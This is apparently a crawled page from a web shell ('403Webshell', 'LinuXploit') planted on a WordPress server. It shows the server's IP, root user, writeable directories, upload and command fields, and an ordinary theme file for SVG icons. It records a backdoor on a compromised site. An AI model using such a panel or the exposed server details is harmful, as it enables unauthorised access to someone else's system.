403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/themes/erc04961/library/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/themes/erc04961/library/helpers/class-svg.php
<?php
/**
 * Static helpers for using svgs
 * in your theme
 *
 * @author Max G J Panas <http://maxpanas.com>
 */


/**
 * Class MOZ_SVG
 */
class MOZ_SVG {


	/**
	 * Get a given svg's
	 * markup
	 *
	 * @param $filename
	 *
	 * @return string
	 */
	public static function get_svg( $filename ) {
		ob_start();
		locate_template( "assets/svg/$filename.svg", true, false );
		return ob_get_clean();
	}


	/**
	 * Print a given svg's
	 * markup
	 *
	 * @param $filename
	 */
	public static function svg( $filename ) {
		echo self::get_svg( $filename );
	}

	private static function assocToAttributes($attributes) {
		return array_map(
			function($key) use ($attributes) {
				if(is_bool($attributes[$key])) {
					return $attributes[$key] ? $key : '';
				}
				return $key.'="'.$attributes[$key].'"';
			}, 
			array_keys($attributes)
		);
	}

	/**
	 * Print a given svg's
	 * markup
	 *
	 * @param $filename
	 */
	public static function use_svg( $filename, $hash = '', $width = 0, $height = 0, $startX = 0, $startY = 0, $options = [] ) {
        $svgHash = (!empty($hash)) ? '#'.$hash : '';
		$svgFilename = (preg_match('/\.svg$/i', $filename ) ) ? $filename : $filename . '.svg';	
		$viewBox = [
			$startX,
			$startY,
			$width,
			$height
		];

		$options['svg']['viewBox'] = implode(' ', $viewBox);
		$svgAttributes = self::assocToAttributes($options['use']);		

		$options['use']['xlink:href'] = get_stylesheet_directory_uri() . '/assets/svg/' . $svgFilename . $svgHash;		
        $useAttributes = self::assocToAttributes($options['use']);		
		
		?><svg  <?php echo join(' ', $svgAttributes); ?>>
   			<use <?php echo join(' ', $useAttributes); ?>></use>
		</svg><?php
	}



	/**
	 * Get the markup for an
	 * svg sprite icon
	 *
	 * @param string $icon  The id of the icon to show (without the `icon-` prefix)
	 * @param array  $attrs Attributes for the `svg` element
	 * @param string $alt   Accessible alternative text for the icon (https://gist.github.com/davidhund/564331193e1085208d7e#gistcomment-1587234)
	 *
	 * @return string
	 */
	public static function get_icon( $icon, $attrs = array(), $alt = '' ) {
		if ( is_array( $icon ) && isset( $icon['icon'] ) ) {
			$icon = $icon['icon'];
		}

		$default_attrs = $alt ? array( 'role' => 'img' ) : array( 'aria-hidden' => 'true' );
		$final_attrs   = array_merge( $default_attrs, $attrs );

		$content = MOZ_Html::get_element( 'use', array(
			'xmlns:xlink' => 'http://www.w3.org/1999/xlink',
			'xlink:href'  => "#icon-$icon"
		) );

		if ( $alt ) {
			$content = "<title>$alt</title>" . $content;
		}

		return MOZ_Html::get_element( 'svg', $final_attrs, $content );
	}


	/**
	 * Print the markup for an
	 * svg sprite icon
	 *
	 * @param string $icon  The id of the icon to show (without the `icon-` prefix)
	 * @param array  $attrs Attributes for the `svg` element
	 * @param string $alt   Accessible alternative text for the icon (https://gist.github.com/davidhund/564331193e1085208d7e#gistcomment-1587234)
	 */
	public static function icon( $icon, $attrs = array(), $alt = '' ) {
		echo self::get_icon( $icon, $attrs, $alt );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit